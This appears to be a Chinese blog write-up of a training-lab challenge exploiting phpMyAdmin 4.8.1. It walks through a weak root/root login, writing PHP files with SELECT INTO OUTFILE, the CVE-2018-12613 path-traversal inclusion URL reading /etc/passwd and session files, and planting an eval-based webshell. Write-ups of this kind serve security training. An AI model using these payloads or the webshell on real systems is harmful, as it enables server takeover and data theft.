当前位置:网站首页>墨者学院-phpMyAdmin后台文件包含分析溯源
墨者学院-phpMyAdmin后台文件包含分析溯源
2022-07-04 07:40:00 【Lyswbb】
首先拿到题目到点击访问
访问后使用弱口令进行登陆,如登陆失败开启隐私模式或者更换浏览器
账户密码:root root
点击sql模块 对sql语句进行一个查询
首先查询sql写一句话的权限
我们可以看到他的值为空
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
show global VARIABLES like '%secure%'
继续查看mysql安装的绝对路径,可以发现他是安装在/var/lib/mysql/
show VARIABLES like 'datadir'
接下来确认一下mysql权限,可以看到这里是最高权限root
SELECT USER();
权限和绝对路径都有了之后可以直接写入一句话了,先试一下phpinfo
select '<?php phpinfo(); ?>' into outfile '/var/lib/mysql/test.php';
当写进去之后访问失败,想了半天才发现这是mysql的路径,不是网站的绝对路径
继续想办法搞到网站的绝对路径 根据题目可知是通过文件包含的方式写一个phpinfo,通过泄漏的绝对路径来shell,思路有了,直接干
首先确定下数据库版本,该版本为4.8.1。在根据数据库版本历史漏洞查询关于文件包含的编号是CVE-2018-12613
直接利用payload进行包含就行了
http://124.70.71.251:40917/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
先写入一个phpinfo进数据库
select '<?php phpinfo();?>';
再通过文件包含去调用phpinfo
首先获取session的值,在构造参数去访问phpinfo,获取绝对路径
http://124.70.71.251:45548/index.phpindex.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_[value]
有了绝对路径之后就可以写入webshell了,写入之后直接访问1.php
select "<?php @eval($_POST['cmd']) ?>" into outfile "/var/www/html/1.php";
使用管理工具登陆上去后到根下面直接去找key.txt 或者 find / -name key.txt
边栏推荐
- OKR vs. KPI 一次搞清楚这两大概念!
- L1-030 one gang one (15 points)
- L1-028 judging prime number (10 points)
- 输入年份、月份,确定天数
- One of the general document service practice series
- The text box displays the word (prompt text) by default, and the text disappears after clicking.
- Computer connects raspberry pie remotely through putty
- When JDBC connects to es query, is there a God who meets the following situation?
- 如何用MOS管来实现电源防反接电路
- L1-023 output gplt (20 points)
猜你喜欢
Zhanrui tankbang | jointly build, cooperate and win-win zhanrui core ecology
BUUCTF(3)
[real case] how to deal with the failure of message consumption?
Amd RX 7000 Series graphics card product line exposure: two generations of core and process mix and match
Introduction to rce in attack and defense world
Go learning notes - constants
Unity opens the explorer from the inspector interface, selects and records the file path
提升复杂场景三维重建精度 | 基于PaddleSeg分割无人机遥感影像
University stage summary
Introduction to sap commerce cloud B2B organization function
随机推荐
jdbc连接es查询的时候,有遇到下面这种情况的大神嘛?
Zhanrui tankbang | jointly build, cooperate and win-win zhanrui core ecology
MySQL 数据库 - 函数 约束 多表查询 事务
Is l1-029 too fat (5 points)
Valentine's Day is coming! Without 50W bride price, my girlfriend was forcibly dragged away...
Literature collation and thesis reading methods
How to buy financial products in 2022?
2022-021rts: from the second half of the year
Introduction to neural network (Part 2)
Activiti常見操作數據錶關系
Xcode 14之大变化详细介绍
How to reset IntelliSense in vs Code- How to reset intellisense in VS Code?
[C language] open the door of C
如何用MOS管来实现电源防反接电路
L1-025 positive integer a+b (15 points)
[untitled] notice on holding "2022 traditional fermented food and modern brewing technology"
手写简易版flexible.js以及源码分析
This article is enough for learning advanced mysql
【Kubernetes系列】Kubernetes 上安装 KubeSphere
I was pressed for the draft, so let's talk about how long links can be as efficient as short links in the development of mobile terminals